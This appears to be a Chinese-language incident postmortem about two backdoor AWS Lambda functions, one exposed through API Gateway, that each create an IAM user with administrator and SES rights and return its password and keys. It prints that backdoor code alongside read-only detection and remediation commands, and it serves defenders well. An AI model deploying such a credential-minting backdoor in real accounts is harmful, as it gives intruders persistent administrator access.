一個 HTTPS 請求,
就領走一個新的管理員

速讀:5 分鐘掌握重點
一句話結論
AWS Health 通知帳號內有 Lambda 使用即將停止支援的 Python 3.9。逐區列出後,只有 us-east-1 有兩支函式,而團隊從未在該區域部署過任何東西。
他要的是什麼
他要的是一個「按一下就生出管理員」的自動販賣機,以及 SES 寄信權限。帳號被清理了?打一次 API Gateway,新的管理員又出來了。
你今天做一件事
你從沒用過的區域裡不該有任何資源。逐區盤點是最便宜的偵測;CreateUser 與 AttachUserPolicy 是最該告警的事件。 直接去做 →
哪些能信
5 可證明2 推論3 缺口 每個主張都標了等級,缺口是誠實寫出來的。
破口速查
受害端一律去識別化;寫「未公開」代表公開資料查不到。
伺服器服務商
AWS Lambda(函式出現在 us-east-1,團隊唯一使用的區域是 ap-northeast-1)
網路服務商
AWS API Gateway 公開 REST 端點(其中一支函式掛著觸發器,不必保存憑證就能回來)
漏洞出現的地方
身分層:建立這兩支函式的初始憑證無法指認(留存事件缺 userIdentity),後門函式能自建管理員並掛 SES 全權限;沒用過的區域沒人盤點
馬上自我檢測
for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo == $r; aws lambda list-functions --region $r --query 'Functions[].FunctionName' --output text; done
漏洞修補方式
用 SCP 限制可用區域;開多區域 CloudTrail 並送 S3 保存;對 CreateUser/AttachUserPolicy/CreateAccessKey/CreateFunction 設告警;輪替所有長期金鑰並撤銷進行中的工作階段
有 15 分鐘再看:其餘 2 點
  1. 兩支函式的程式碼一模一樣:create_user → create_login_profile → create_access_key → attach AdministratorAccess / IAMFullAccess / AmazonSESFullAccess,回傳主控台登入 URL、密碼與金鑰。其中一支掛了 API Gateway 觸發。
  2. 用 CloudShell 把 CloudTrail 事件全量撈下來,依來源 IP 與事件名稱統計,把調查者自己的活動與異常來源分開。

沒用過的區域裡多了兩支函式,程式碼只做一件事:隨機建一個 IAM 使用者、掛上管理員與寄信全權限,把密碼與金鑰回傳。挖礦會被帳單抓到,後門不會。

AWS 後門 Lambda·2025-07-14 → 07-18·全文 9 分鐘
本篇目錄
ap-northeast-1us-east-1正常業務λ ×2 + API GWcreate_user → AdministratorAccess → SES

一封講 Python 版本的信,掀開了帳號裡的兩支函式

2025 年 7 月,AWS 寄來一封標題平淡到不行的通知:帳號內有 Lambda 函式使用即將停止支援的 Python 3.9。信裡附了一條指令,用來逐區把這些函式列出來。照著跑完,團隊唯一使用的 ap-northeast-1 是空的,us-east-1 卻冒出兩支函式:s3s811 與 sesyu787。那個區域,我們從來沒有部署過任何東西。

兩支函式的程式碼一模一樣,去掉註解只剩一件事:隨機建一個 IAM 使用者,掛上三個受管政策,再把主控台登入 URL、密碼與存取金鑰打包回傳給呼叫者。其中 sesyu787 還掛著 API Gateway 觸發器——一個 HTTPS 請求,就領走一個管理員。這不是入侵留下的痕跡,是一台能自我補貨的自動販賣機:就算你把他建的使用者全部刪掉,他打一次 URL 就補回來。

四天之內,函式、執行角色與可疑使用者都清掉了,長期金鑰全部輪替,進行中的工作階段也撤銷,帳單上可證明的直接損失是零。但「他總共領走過幾組管理員」「SES 有沒有用我們的網域寄過信」,到今天都沒有答案。這篇要講的就是這個落差:挖礦劫持會被帳單抓到,後門不會——它的運轉成本趨近於零,只會安靜待在你不看的區域。

我們只用一個區域,帳號卻有三十幾個

團隊所有資源都在 ap-northeast-1,單一 AWS 帳號,日常靠主控台與 CloudShell 操作。主控台預設只顯示當前區域,所以沒有人有理由去切 us-east-1,也沒有人切過。

當時的防護只有 AWS 預設送的那幾樣:CloudTrail 第一份管理事件副本免費、事件歷史保留 90 天,以及會寄進信箱的 AWS Health 通知。沒有多區域 trail 送 S3、沒有 SCP 限制可用區域、沒有對 IAM 高風險事件設任何告警。這三件事都不用錢,三件都沒開。

這個案子和一般的金鑰外洩不同的地方在於:外洩的憑證不是被撿走的,是被「生出來」的。每執行一次函式,就多一組全新的管理員憑證,而且是以 API 回應的 JSON 直接送到呼叫者手上,不落地在任何檔案。下面這張表把這次牽涉到的每一種憑證攤開來看。

leaked credentials這次外洩了什麼:服務、用途、存在形式
服務憑證類型用途存在形式放在哪權限範圍狀態
AWS IAM 使用者(函式自動建立)存取金鑰(access key ID + secret access key)攻擊者用來以程式方式操作整個帳號函式回傳的 JSON 欄位,明文API Gateway 端點的 HTTP 回應,不落地在任何檔案AdministratorAccess + IAMFullAccess + AmazonSESFullAccess2025-07 處置時一併停用並刪除;但無法確認總共生出過幾組
AWS 主控台登入(同一個使用者)login profile 密碼(20 碼隨機、不要求變更)讓攻擊者能直接登入主控台操作函式回傳的 JSON 欄位,明文,附帶登入 URL同上,隨 HTTP 回應送出與存取金鑰相同的管理員權限隨使用者刪除而失效
Amazon SES(寄信權限)不是獨立憑證:靠上面那組 IAM 身分取得寄信能力用受害帳號已驗證的網域大量寄信,是這次最直接的變現路徑IAM 政策授權(AmazonSESFullAccess),必要時可再自行建立 SMTP 憑證掛在函式產出的使用者身上所有區域的 SES 寄信與身分管理已隨使用者刪除;是否真的寄出過信屬缺口
Lambda 執行角色AWS 角色(短期憑證,非長期金鑰)讓函式本身有權呼叫 IAM 建立使用者執行環境自動注入的暫時憑證,不以檔案存在函式的執行角色設定IAM 寫入權限,足以建立使用者與掛政策刪除函式時一併刪除角色
最初被用來建立這兩支函式的憑證長期存取金鑰或不經 MFA 換到的暫時憑證攻擊者的初始存取;也是整案最該找出來的那一把格式無法確認:留存的事件摘要缺少完整的 userIdentity 與驗證上下文未知足以建立 Lambda、角色與 API Gatewaygap:處置時已輪替所有長期金鑰並撤銷進行中的工作階段,但無法指認是哪一把
憑證本身已遮蔽或失效;這裡只說明它是哪個服務、拿來做什麼、以什麼形式存放,讓你能對照自己的環境。

最後一列是整案的核心遺憾。前四列都清得掉,第五列到今天還是未知數——而只要它未知,你就不能說事件結束了。

四天之內:從一封通知到清場

發現的過程沒有任何技巧可言,就是照著 AWS 信裡附的指令,把每一個區域都列一次。

CloudShell · 逐區列出 Python 3.9 的 LambdaREAD-ONLY
$ for region in $(aws ec2 describe-regions --query "Regions[].RegionName" --output text); do
  echo "Region: $region"
  aws lambda list-functions --region $region \
    --query "Functions[?Runtime=='python3.9'].FunctionName" --output text
done

Region: ap-south-1
Region: eu-north-1
...
Region: ap-northeast-1          # ← 我們唯一使用的區域:空
...
Region: us-east-1
sesyu787                        # ← 從沒在這個區域部署過任何東西

看到那一行輸出之後的四天,排起來是這樣。

  1. 2025-07-14
    CloudTrail 留存事件的起算日,當天 2,771 筆
    事後全量撈取後依日期統計。
  2. 通知前兩天
    兩支函式 s3s811 與 sesyu787 的「上次修改時間」落在這一天
    Lambda 函式設定的 LastModified。
  3. 2025-07-15 → 07-16
    事件量升到 6,304 與 6,332 筆
    同上;其中大多數是調查者自己在 CloudShell 的操作。
  4. 2025-07-17
    收到 AWS Health 的 Python 3.9 停止支援通知,逐區列出函式,在 us-east-1 發現兩支不是團隊建立的函式
    AWS Health 通知信與 CloudShell 查詢輸出。
  5. 2025-07-17
    用 CloudShell 分頁撈下三天內全部 CloudTrail 事件,依來源 IP 與事件名稱統計
    lookup-events 全量撈取與 jq 統計。
  6. 2025-07-17 → 07-18
    斷觸發、刪函式與執行角色、清可疑 IAM 使用者、輪替長期金鑰並撤銷進行中的工作階段
    處置紀錄;四天合計 19,791 筆事件。
  7. 不明
    誰、用哪一把憑證建立了這兩支函式
    留存事件摘要缺 userIdentity 與驗證上下文。
  8. 不明
    API Gateway 被呼叫過幾次、SES 有沒有寄出信
    沒有 API Gateway 存取日誌,也沒有留存 SES 寄信統計。

時間軸最後兩列標的是「不明」,而且都在處置完成之後才列出來。這是本案的形狀:動作做完了,故事沒有結尾。

攻擊鏈上,只有中間三格說得出話

那兩支函式的程式碼是整案唯一完整保存下來的東西。去掉註解後長這樣:

def lambda_handler(event, context):
    iam = boto3.client("iam")
    user_name = f"user-{uuid.uuid4().hex[:8]}"          # 隨機使用者名稱
    password = "".join(random.choices(chars, k=20))     # 隨機密碼

    iam.create_user(UserName=user_name)
    iam.create_login_profile(UserName=user_name, Password=password, PasswordResetRequired=False)
    access_key = iam.create_access_key(UserName=user_name)
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess")
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/IAMFullAccess")
    iam.attach_user_policy(UserName=user_name, PolicyArn="arn:aws:iam::aws:policy/AmazonSESFullAccess")

    return {"IAMLoginURL": f"https://{account_id}.signin.aws.amazon.com/console",
            "Username": user_name, "Password": password,
            "AccessKeyId": ..., "SecretAccessKey": ...}

三個受管政策裡,AdministratorAccess 是保險、IAMFullAccess 讓他能再幫自己開下一個,而 AmazonSESFullAccess 才說明了他的生意:用你已經驗證過的網域大量寄信。函式名稱裡的 ses 不是巧合。

把這段程式碼攤在 MITRE ATT&CK 上,只有 Execution、Persistence、Privilege Escalation 三格有實物可以對照;頭尾四格都沒有留下證據,只能標問號。

某一把能建立 Lambda、IAM 角色與 API Gateway 的憑證被拿去用。調查筆記當時的判斷是「聯邦帳號、繞過 MFA」,但留存事件缺完整 userIdentity,無法指認是哪一把。
當時留下的訊號
CreateFunction 事件的 userIdentity 與 accessKeyId(本案已不可考)。
能擋下它的控制
人員改用 SSO 與短期憑證;Root 不持有存取金鑰;長期金鑰定期輪替。

第 01 格與第 07 格是同一件事的兩端:他怎麼進來、他賺到什麼。兩端都是問號,中間看得再清楚也只是半個故事。

能證明的、只能推論的、永遠答不出來的

先看能證明的。函式存在、程式碼內容、執行角色的權限,這三件事都有實體可以核對。

再來是事件記錄。主控台的事件歷史一次只給 50 筆,要看全貌得自己翻頁,所以第一件事是把三天份全部撈下來。

fetch_all_events.sh · 分頁撈取READ-ONLY
start_time=$(date -u -d '3 days ago' +%Y-%m-%dT%H:%M:%SZ)
end_time=$(date -u +%Y-%m-%dT%H:%M:%SZ)
next_token=""
while true; do
if [ -z "$next_token" ]; then
  result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --output json)
else
  result=$(aws cloudtrail lookup-events --start-time "$start_time" --end-time "$end_time" --max-results 50 --next-token "$next_token" --output json)
fi
echo "$result" | jq -c '.Events[]' >> tmp_events.json
next_token=$(echo "$result" | jq -r '.NextToken // empty')
[ -z "$next_token" ] && break
done
jq -s '{Events: .}' tmp_events.json > all_events_full.json

撈下來之後只問三個問題:哪一天異常、哪些 IP、某個 IP 做了什麼。三段 jq 就夠。

jq · 每天幾筆、哪些 IP、某個 IP 做了什麼READ-ONLY
# 每天筆數:看有沒有異常暴增的日子
jq -r '.Events[] | .CloudTrailEvent | fromjson | .eventTime | split("T")[0]' all_events_full.json | sort | uniq -c
 2771 2025-07-14
 6304 2025-07-15
 6332 2025-07-16
 4384 2025-07-17

# 來源 IP 分布:先把自己的 IP 認出來,剩下的就是要追的
jq -r '.Events[] | .CloudTrailEvent | fromjson | .sourceIPAddress' all_events_full.json | sort | uniq -c | sort -nr

# 針對某個 IP 展開:時間、身分、事件、資源
jq -r '.Events[] | .CloudTrailEvent | fromjson
     | select(.sourceIPAddress == "X.X.X.X")
     | {time: .eventTime, user: .userIdentity.arn, event: .eventName, resource: .resources}' all_events_full.json

# 只看 Root 身分做過的事
jq -c '.Events[] | .CloudTrailEvent | fromjson | select(.userIdentity.type == "Root")
     | {eventTime, eventName, sourceIPAddress}' all_events_full.json

接下來兩件只能推論,而且兩件都跟「他是怎麼進來的」有關。

這裡要澄清一個很常見的誤會:MFA 是門口檢查,工作階段像通行證。使用者完成一次驗證後,系統可能核發暫時憑證,後續 API 請求依憑證與授權政策判定,不會每個操作都再要求驗證碼;長期存取金鑰更是完全不經 MFA。所以「我們有開 MFA」保護的是互動登入,不是每一條 API 存取路徑——這也是上面那條推論為什麼成立。

最後是三件沒有答案的事。它們不是漏查,是當時根本沒有那個日誌。

五件能證明的都關於「現場有什麼」,五件不能證明的都關於「他做了什麼」。這個比例本身就是結論:我們保住了證物,沒保住紀錄。

往下追四層,最後停在三個沒開的免費開關

表面上的原因,一句話就說得完:us-east-1 有兩支會自建管理員的 Lambda 函式,其中一支掛著公開的 API Gateway 觸發器。這是主控台上看得到、程式碼可以核對的事實。

往下一層是技術。函式的執行角色被授予了 IAM 寫入權限,足以建立使用者、掛政策、核發金鑰;而建立這整組東西的初始憑證,走的是一條不經 MFA 的 API 路徑。前半段有函式設定可以證明,後半段只有當時的調查判斷。

再往上追到管理,問題變成一句更難聽的話:沒用過的地方,也就沒有人看。團隊只用 ap-northeast-1,主控台預設只顯示當前區域,從來沒有人盤點過其餘三十幾個區域。這一層只能推論,因為它不是某個人做錯了什麼,而是沒有人被指派去做什麼。

最後一層是制度,同樣只能推論:沒有 SCP 限制可用區域、沒有多區域 CloudTrail 送 S3、沒有對 IAM 高風險事件設告警。三個控制都不用錢。前兩個決定了他能把東西放在哪裡,第三個決定了事後你還查不查得到——而我們今天之所以只剩摘要,答案就在這一層。

訊號不是沒有,是它永遠不會出現在帳單上

回頭看,可以更早攔下這件事的機會至少有五個,而且沒有一個需要買新工具。

最根本的是沒有人盤點陌生區域。主控台預設只顯示當前區域,要主動切過去才看得到,所以 us-east-1 多了兩支函式這件事,在系統裡完全無聲。其次是三個 IAM 事件沒有告警:CreateUser、AttachUserPolicy、CreateAccessKey 連在一起出現,意思就是「有人在幫自己開管理員」,當時沒有任何一條規則在看它們。

另外兩個缺口是事後才會痛的。API Gateway 沒有開存取日誌,所以那扇免憑證的門被敲過幾次,是整案最該知道、卻永遠答不出來的數字;CloudTrail 只有預設的 90 天事件歷史、沒有送 S3,四天之後留下的只剩摘要,userIdentity 與 userAgent 全被省略,「誰建的」就此成為死問題。

第五個訊號最值得記,因為它是反的:帳單完全正常。Lambda 與 API Gateway 的用量費幾乎為零,IAM 根本不計費。你可以靠帳單抓到挖礦,但抓不到後門。真正替我們示警的,是一封講 Python 版本的例行通知——這次是運氣好,不是防禦好。

那兩天我們實際做了什麼:先斷觸發,再刪東西

7 月 17 日那天的偵測動作,就是照著通知信逐區列出 Lambda,然後用 CloudShell 把三天內的事件全量撈下來,依日期、來源 IP 與事件名稱統計,先把自己在 CloudShell 的活動排掉,剩下的才是要追的。

接著是止血,而且順序是這次做對的關鍵:先移除 API Gateway 與 Lambda 的觸發關係,再刪東西。如果顛倒過來,先刪使用者、後斷觸發,等於把他建的東西清掉又讓他能立刻補回來。切斷入口之後,先下載函式程式碼與設定當證據,才刪函式與它的執行角色。

清除花了兩天。列出所有 IAM 使用者,挑出名稱符合 user-[8 碼 hex] 或建立時間說不清楚的,先停用金鑰與登入設定再刪除;輪替所有長期存取金鑰;對角色加上 aws:TokenIssueTime 拒絕條件,讓指定時間之前核發的 token 全部失效;最後確認 Root 已開 MFA、且不持有任何存取金鑰。

這裡有一個很多人會踩的坑:已核發的暫時憑證有自己的生命週期。改了主控台密碼、開了 MFA,不會讓已經拿到的存取金鑰或工作階段失效。要依憑證類型採用對應的撤銷方式——長期金鑰直接停用並刪除,角色的工作階段靠信任政策或內嵌拒絕政策讓舊 token 作廢——再重新檢查信任政策、長期金鑰與異常資源,才知道處置有沒有涵蓋整條存取路徑。

7 月 18 日收尾時做的是復原與複查:檢查所有區域的 SES 寄信統計、已驗證身分與抑制清單,再逐區列出 Lambda、EC2、IAM 角色、API Gateway 與 EventBridge 規則,確認沒有第二個入口。攻擊者常在你不看的區域放東西,而「不看的區域」不會只有一個。

存證做對了,留證據的基礎建設沒做

這次做得最好的一件事,是刪函式前先把程式碼與設定下載下來。這篇每一段關於函式行為的說明都靠它——沒有那份備份,整個案子就只剩「有兩支不明函式」一句話。處置順序也對:先斷觸發再刪函式,沒有給他補貨的機會。調查時先用 IP 與 userAgent 把自己在 CloudShell 的活動排掉,也省下追一整天假線索的時間。還有一件容易被忽略的:AWS Health 通知寄到了一個有人會看的信箱。本案唯一的偵測訊號就是那封信。

可惜的部分,全部集中在同一個主題——我們保住了證物,沒保住紀錄。當時沒有多區域 CloudTrail 送 S3,四天之後只剩摘要,userIdentity 與 userAgent 都被省略;兩個被標記為異常的來源 IP,留存的事件檔是空的,無法與 CreateFunction 對上;API Gateway 沒有開存取日誌,後門被呼叫過幾次到今天答不出來;處置當下也沒有匯出各區域 SES 的寄信統計與投訴率,於是「有沒有寄出信」也跟著沉底。

把這兩段放在一起看,結論很清楚:做得好的都是當下的臨場反應,做不好的都是事前該有的基礎建設。臨場反應救得了這一次,基礎建設才決定你事後能不能說出完整的故事。

之後我們改了什麼

當天就做完的是止血四件事:移除 API Gateway 與 Lambda 的觸發關係,刪函式與執行角色(刪前先下載程式碼與設定存證);停用並刪除名稱像 user-[8 碼 hex]、或建立時間說不出來的 IAM 使用者;輪替所有長期存取金鑰,並用 aws:TokenIssueTime 拒絕條件撤銷進行中的工作階段;最後逐區列出 Lambda、API Gateway、EC2、IAM 角色與 EventBridge 規則。

接下來幾週補的是那三個沒開的免費開關。CloudTrail 改成多區域 trail,送 S3 與 CloudWatch,保留期拉長超過 90 天;對 CreateUser、CreateLoginProfile、AttachUserPolicy(含 AdministratorAccess)、CreateAccessKey、CreateFunction 五個事件設即時告警;不用 SES 的區域保持沙箱,並逐區檢查已驗證身分與抑制清單;Root 帳號開 MFA、不持有存取金鑰、不用於日常操作。

這一季之後的目標,是讓「你不看的地方」不再存在:用 SCP 或 IAM 條件限制可用區域,不用的區域一律拒絕;用 AWS Config 聚合所有區域的資源清單,把跨區盤點變成排程,而不是靠一封通知信;人員改用 SSO 與短期憑證,淘汰長期存取金鑰;並把 AWS Health 與帳單通知指派給固定的人看,同時定義收到之後要做什麼。

下面這張表把這一整件事的錢算清楚。最重要的不是總額,是「免費」那幾列——一台隨時生管理員的自動販賣機,運轉成本趨近於零,所以帳單永遠不會替你示警。

cost一台自動販賣機的帳:用量、單價、期間成本
項目用量單價期間US$NT$舉證
Lambda 後門函式 × 2
估:函式存在可證明,次數是假設值
128 MB × 約 3 秒/次;呼叫次數未知,以 1,000 次估US$0.20/百萬次 + US$0.0000166667/GB·秒2025-07-14 → 07-180.010函式程式碼與設定已下載存證;呼叫次數缺 CloudTrail 與 Lambda 指標,只能假設
API Gateway REST 端點(觸發器)
估:就算被打滿一百萬次也只要 US$3.50。後門的運轉成本低到不可能引起帳單注意
以 1,000 次請求估US$3.50/百萬次同上0.000觸發器設定可證明(Lambda 觸發器清單);請求數無存取日誌,無法得知
IAM 使用者、登入設定、存取金鑰
免費才是重點:這台自動販賣機永遠不會出現在任何一張帳單上
每執行一次產生 1 組具 AdministratorAccess 的憑證IAM 不計費2025-070.000AWS 公開牌價:IAM 本身不收費;函式程式碼可證明它建立使用者與金鑰
CloudTrail 管理事件(第一份副本)
免費卻沒設多區域 trail,所以事後只剩摘要
帳號預設 90 天事件歷史第一份管理事件副本免費持續0.000AWS 公開牌價:管理事件第一份副本不計費
多區域 trail 送 S3(當初若有開)
估:這 0.28 美元,就是「誰建的、用哪把憑證」這題答不出來的價格
約 1 GB/月的事件檔US$0.023/GB·月(S3 Standard)一年0.289以本案 4 天約 19,791 筆事件的量級外推;當時未開啟,因此沒有帳單
SES 濫用的情境估算
估:假設值。寄 100 萬封只要 US$100,被列進黑名單的卻是你的網域
以寄出 100 萬封估US$0.10/1,000 封假設情境100.003,200AmazonSESFullAccess 確實掛在函式產出的使用者上(程式碼可證明);寄信量為假設
SES 實際寄出量與網域信譽損失
真正可能的大額損失,落在這一列
—————缺口:留存資料沒有 SES 寄信統計與退信/投訴率,事後無法回答有沒有寄出
API Gateway 被呼叫幾次、生出過幾個管理員
後門的實際使用次數是整案最大的黑洞
—————缺口:留存事件檔省略 userIdentity 與 userAgent,兩個來源 IP 的事件檔為空
調查用的查詢
本案唯一有效的偵測手段,成本是零
逐區 list-functions、CloudTrail 分頁全量撈取CloudShell 免費(含 1 GB 儲存);lookup-events 不計費2025-07-170.000AWS 公開牌價:CloudShell 與 CloudTrail 事件歷史查詢不計費
調查與處置人力
估:這件事幾乎全部的成本都在這一列
約 2 人日:逐區盤點、全量撈取與比對、刪函式與使用者、輪替金鑰顧問日費 NT$20,000~35,000(估),取中間值 NT$27,5002025-07-15 → 07-181718.7555,000處置時間軸推估,無正式工時單;日費為假設值
攻擊者的運轉成本
估:邊際成本是零,所以他不需要挑目標,也不急著用
2 支函式+1 個 API 端點,全部跑在你的帳號上由受害者支付長期0.000函式與觸發器設定可證明資源都在我方帳號;他自身支出無從得知
攻擊者實際變現了多少
不知道他領走幾組管理員,就不知道他賺了什麼
—————缺口:沒有 API Gateway 存取日誌、沒有完整 CloudTrail、沒有 SES 統計
合計(僅可證明列)0.000
匯率假設 1 USD ≈ NT$32。單價為公開牌價或帳單實付,來源:AWS 公開牌價 us-east-1(2026-09 查詢):Lambda 每百萬次請求 US$0.20+每 GB·秒 US$0.0000166667、API Gateway REST 每百萬次 US$3.50、S3 Standard US$0.023/GB·月、SES à la carte US$0.10/1,000 封。「舉證」欄標明每筆損失的證據來源與等級( 可證明 推論 缺口)。

可證明的金額是 US$0.00,但那不是因為沒有損失,而是因為這個後門的運轉成本本來就接近零。可能的損失全部落在那三列缺口裡——而缺口不是零,只是沒有人能替它開發票。

帶得走的八件事

換到攻擊者那邊看,這是一門幾乎沒有下檔風險的生意:兩支函式和一個 API 端點全跑在你的帳號上,電費你付、日誌你沒開、IAM 還不計費。他不需要挑目標,也不急著用——只要你不去看那個區域,這台販賣機可以擺上好幾年。

lessons本案的 8 個教訓
  1. 01
    你從沒用過的區域裡,不該有任何資源。逐區盤點成本是零,而它是本案唯一有效的偵測。
  2. 02
    後門不會出現在帳單上。Lambda 與 API Gateway 幾乎免費,IAM 完全免費——帳單永遠不會替你示警。
  3. 03
    AdministratorAccess 是保險,AmazonSESFullAccess 才是生意。被拿走的是你的網域寄信信譽,被封的也是你。
  4. 04
    API Gateway 觸發讓攻擊者不必保存任何憑證。所以處置順序是先斷觸發,再清使用者。
  5. 05
    改密碼、開 MFA 不會讓已核發的工作階段失效。要讓 token 全部作廢,靠的是 aws:TokenIssueTime 這個條件。
  6. 06
    多區域 trail 送 S3 一年不到一美元。省下這 0.28 美元的代價,是「誰建的」永遠答不出來。
  7. 07
    CreateSession、PutCredentials 多半是 CloudShell 自己在跑。不先把自己排除,你會追一整天的假線索。
  8. 08
    這次是運氣好,不是防禦好:救了我們的,是一封講 Python 版本的例行通知。

如果只想記住十個詞,就記下面這十個;順序照「讀完最該帶走」排,不是照它們在文章裡出現的先後。

keywords重點學習:最需要學習的 10 個關鍵字10 個
  1. 01
    逐區盤點(list-functions across regions)
    本案唯一有效的偵測,成本是零;你沒用過的區域裡不該有任何東西。
  2. 02
    API Gateway 觸發的 Lambda
    它讓攻擊者不必保存任何憑證:你清光所有使用者,他打一次 URL 就補回來。
  3. 03
    AmazonSESFullAccess
    AdministratorAccess 是保險,SES 才是生意;寄信信譽是最常被忽略、也最難修的資產。
  4. 04
    AttachUserPolicy / CreateUser / CreateAccessKey
    這三個事件是「有人在幫自己開管理員」的直接訊號,也是最該設即時告警的三個。
  5. 05
    aws:TokenIssueTime
    改密碼、開 MFA 都不會讓已核發的工作階段失效;要讓 token 全部作廢,靠的是這個條件。
  6. 06
    Lambda 執行角色
    函式能呼叫 IAM,是因為有人給了它 IAM 寫入權限;函式的權限往往比建立者以為的大。
  7. 07
    多區域 CloudTrail trail 與保留期
    事後答不出「誰建的」,就是因為只有 90 天事件歷史、沒有送 S3;補上它比你想的便宜太多。
  8. 08
    lookup-events 分頁全量撈取
    主控台一次只給 50 筆,不把全量撈下來就不可能看出來源 IP 分布與異常日。
  9. 09
    先排除自己的活動
    CreateSession、PutCredentials 多半是 CloudShell 自己在跑;不先把自己排掉,你會追一整天的假線索。
  10. 10
    SCP 區域限制
    把沒用到的區域整個關掉,是唯一能讓「你不看的地方」不再存在的控制。

如果重來一次,前六十分鐘該怎麼排

本案最大的遺憾不是處置慢,是證據沒留夠。同樣那封信今天再寄一次,第一個小時我會這樣用。

前十五分鐘一律先存證再動手:下載函式程式碼與設定、截圖觸發器清單、匯出執行角色的政策;趁 90 天視窗還在,用 lookup-events 分頁把全量事件撈下來存檔;然後匯出各區域 SES 的寄信統計、已驗證身分與投訴率——本案就是漏了最後這一步,才留下那個答不出來的問題。

第二個十五分鐘才動手止血:移除 API Gateway 與 Lambda 的觸發關係,先切掉免憑證的入口;可疑的 IAM 使用者只停用金鑰與登入設定,不要直接刪,因為帳號名稱與建立時間本身就是證據。

剩下的半小時處理存取路徑與複查:輪替所有長期存取金鑰,對角色加 aws:TokenIssueTime 拒絕條件撤銷進行中的工作階段;回頭查 CreateFunction 事件的 userIdentity 與 accessKeyId,把那把初始憑證指認出來;最後逐區盤點 Lambda、API Gateway、EC2、IAM 角色與 EventBridge 規則,確認沒有第二個入口。一小時之後才輪到慢工:刪函式、刪角色、刪使用者完成清除,開多區域 CloudTrail 送 S3、設五個 IAM 高風險事件告警(這組規則我們統稱 alarm-iam-selfserve-b3x,翻告警一眼就對得上這篇)、用 SCP 關掉不用的區域,並把 AWS Health 與帳單通知指派給固定的人看。

回到那封講 Python 版本的信。它其實跟資安一點關係都沒有,是我們照著它附的指令多跑了一次別的區域,才撞見那兩支函式。所以真正該問自己的不是「我有沒有被入侵」,而是「如果那個區域現在就有東西,我要多久才會知道」。這個問題今天就能回答,下面六步全部唯讀,十五分鐘內做得完。

try today今天就可以來試試約 15 分鐘

全部唯讀,不改任何設定;做完你會知道自己有沒有同樣的破口。

  1. 逐區列出所有 Lambda 函式,不只看你常用的那一區。
    for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws lambda list-functions --region $r --query 'Functions[].FunctionName' --output text; done
    看到什麼代表什麼:任何你沒部署過的區域出現函式,先當可疑處理:下載程式碼與設定存證,再看它的執行角色有什麼權限。
  2. 同樣逐區列 API Gateway,找免憑證的觸發入口。
    for r in $(aws ec2 describe-regions --query 'Regions[].RegionName' --output text); do echo "== $r"; aws apigateway get-rest-apis --region $r --query 'items[].name' --output text; done
    看到什麼代表什麼:你叫不出名字的 REST API,就是攻擊者不必保存憑證也能回來的那扇門。
  3. 列出 IAM 使用者與建立時間,再看誰掛著最高權限。
    aws iam list-users --query 'Users[].[UserName,CreateDate]' --output table
    aws iam list-entities-for-policy --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --query 'PolicyUsers[].UserName' --output text
    看到什麼代表什麼:名稱像隨機字串、或建立時間你完全沒印象的使用者,就是自動販賣機的產物;管理員清單裡出現非人類帳號更要追。
  4. 檢查 CloudTrail 是不是多區域,而且有送到 S3。
    aws cloudtrail describe-trails --query 'trailList[].[Name,IsMultiRegionTrail,S3BucketName,HomeRegion]' --output table
    看到什麼代表什麼:沒有多區域 trail 或沒有 S3 儲存桶,代表 90 天之後你就答不出「誰建的」——本案的所有缺口都來自這裡。
  5. 看你不使用的區域裡,SES 是不是還在沙箱。
    aws sesv2 get-account --region us-east-1 --query '[ProductionAccessEnabled,SendingEnabled,EnforcementStatus]' --output text
    看到什麼代表什麼:你根本不用 SES 卻已經是生產存取狀態,就要當成寄信管道被人打開過;再去看寄信統計與投訴率。
  6. 查最近的高風險 IAM 事件。
    aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser --max-results 10 --query 'Events[].[EventTime,Username,EventName]' --output table
    看到什麼代表什麼:出現你不認得的 CreateUser,接著去查同一時間的 AttachUserPolicy 與 CreateAccessKey;三個事件連在一起,就是有人在幫自己開管理員。

後續(2026-10-15)

上面寫的「可疑使用者都清掉了」,事後證明只清了一半。2026 年 10 月 15 日,我們為了確認一把在部署平台外洩範圍內的 AWS 金鑰有沒有被用過,順手對這個帳號做了一次持久化巡檢:後門函式確實已經不在,但它在 2025-07-16 建立的 user- 加 8 碼 hex 使用者還在,管理員與 IAM 全權限當年拿掉了、金鑰也停用了,卻一直掛著 AmazonSESFullAccess,而且從來沒被刪除。這個使用者已於當天刪除。經過與教訓寫在〈後門 Lambda 刪了 15 個月,它生出來的使用者還在〉。

想看全部細節?

環境背景、時間線、攻擊鏈對照 ATT&CK、關鍵證據、根因、處置與檢討都在完整版,約 9 分鐘。

本文由 AI 團隊協助研究與撰寫,經隱私與事實檢查後發布;證據等級依來源可信度標註。

看完的心情
ai prompt把這篇的切入點帶回你的環境

複製下面這段,貼給你在用的 AI 工具(Claude Code、Cursor、Copilot、ChatGPT 都可以)。它會用本篇的破口位置、自我檢測與學習重點,對你的專案或環境做一次資安掃描,列出潛在問題與建議的調整或加強方式。

預設是唯讀:只發現問題、提出建議,不會改你任何檔案或設定。

§
對應課程模組

M1 陌生區域盤點 · 想在自己的環境做一次同樣的盤點,從 自我盤點 開始。

quiz · 資安意識積分
讀完了?1 分鐘重點回饋,累積資安意識積分

4 題單選,答對每題 +10 分、全對再 +10 分。加入 LINE 官方帳號、在 LINE 裡作答,成績與積分直接存入;在網頁作答會拿到一組序號,傳到 LINE 就能累積。

1 分鐘重點回饋 →
newsletter
下一篇拆解直接寄到信箱

每篇新文章一封:三點摘要、關鍵字定義、今天能做的一件事。或先 加入會員 記錄你完成的任務。